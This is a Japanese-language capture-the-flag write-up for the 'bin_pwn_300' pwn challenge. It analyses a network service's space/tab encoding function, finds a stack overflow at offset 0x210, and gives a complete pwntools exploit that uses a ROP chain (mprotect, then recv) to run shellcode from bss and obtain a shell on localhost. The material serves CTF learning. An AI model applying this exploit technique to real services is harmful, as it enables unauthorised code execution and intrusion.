pwn challenges list easy bin_pwn_300
下調べ
mattun-mart@4ctf:~/Workspace/pwn/easy/bin_pwn_300$ file chal |sed -e "s/,/\n/g" chal: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.
mattun-mart@4ctf:~/Workspace/pwn/easy/bin_pwn_300$ checksec.sh --file chal RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH chal
NX有効.
解析
straceで実行すると,ポート32000で待ち受けているので接続する.
mattun-mart@4ctf:~$ nc localhost 32000 aaaa aaaaaaaaa a
よくわからないので解析する.
解析した結果ざっくりしたプログラムの流れは以下の通り.
1. recv関数で0x10文字受け取り,改行文字に終端文字列を挿入.
2. 入力のうち改行文字までの文字列と(white,black,bintendo64,46odnetnib,hex,hax)とそれぞれ比較.一致していれば一致した名前の関数を実行.
3. 関数の処理結果をsend関数で送信.
それぞれの関数の処理内容は以下のような感じ.
white
入力された文字の値を" "と"\t"に変換して表現.
ex. A → 41 →01000001 → "_\t_____\t"(スペースは_で表している)
1. 入力を受け取り.
2. 入力された文字列の1文字目の値の1bit目が1であれば"\t",0であれば" "をバッファに保存
3. 1文字目の値を1bit右シフト
4. 8bit分2,3の処理を繰り返した後に,対象文字を次の文字列へ
black
whiteの逆変換
1. 入力を受け取り.
2. 入力された文字列" "だったら0,"\t"だったら1をバッファに保存
3. 8bit分2の処理を繰り返し,結果をバッファに保存.
ただし,入力が0x200分あれば入力された文字列に対する処理が終わった後に再度入力を受け取り同じ処理を実施する.(最大10回可能)
46odnetnib
入力されたbase64文字列をデコード
hex
pythonでいうord()
hax
pythonでいうchr()
どこにバグがあるかというとblack関数.
変換結果の保存先のバッファのアドレスがリターンアドレスの保存先に近いため,入力が多いと書き換えが可能.
その差は0x210.
一回でバッファに保存できるサイズは0x40(0x200/8)ので,9回目の入力の途中から書き換えが可能.
Exploit
このプログラムは文字列を読み込むための関数中でmprotect関数が使われているためNXを回避できる.
そのため,mprotect関数でどこかしらの領域を実行可能にしてシェルコードを実行すれば良い.
書き込めるサイズは0x70byte分と小さく,スタックにシェルコードを積むとサイズオーバーしてしまうので,bss領域にシェルコードを積んで実行する.
あとはpayloadを" "と"\t"の組み合わせの文字列に変換して送ってやればよい.(mprotectに指定するアドレスはページ境界なことに注意)
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * #context. log_level = 'debug' def conv_format(buf): result = "" for i in buf: code = ord(i) for j in range(8): if code<<j & 0x80: result += "\t" else: result += " " return result host = 'localhost' port = 32000 conn = remote(host, port) elf = ELF("./chal") shellcode = asm(shellcraft.sh()) recv_plt_addr = elf.plt['recv'] mprotect_plt_addr = elf.plt['mprotect'] send_plt_addr = elf.plt['send'] pop4ret = 0x080496a0 pop3ret = 0x080496a1 bss = 0x0804b000 # fast input payload = "black\n" + "A" * 10 conn.send(payload) # second input # (black input) payload = "A" * 0x210 # padding # mprotect(bss,0x1000,7) payload += p32(mprotect_plt_addr) payload += p32(pop3ret) payload += p32(bss) payload += p32(0x1000) payload += p32(7) # recv(4,bss+0x200,len(shellcode),0) payload += p32(recv_plt_addr) payload += p32(pop4ret) payload += p32(4) payload += p32(bss+ 0x200) payload += p32(len(shellcode)) payload += p32(0) # stored shellcode payload += p32(bss + 0x200) payload += "A" * (0x280 - len(payload)) conn.send(conv_format(payload)) conn.send(shellcode) conn.interactive()
結果
mattun-mart@4ctf:~/Workspace/pwn/easy/bin_pwn_300$ python exploit.py [+] Opening connection to localhost on port 32000: Done [*] '/home/mattun-mart/Workspace/pwn/easy/bin_pwn_300/chal' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] Switching to interactive mode $ ls chal chal.i64 chal.id0 chal.id1 chal.id2 chal.nam chal.til dump exploit.py memo.c peda-session-chal.txt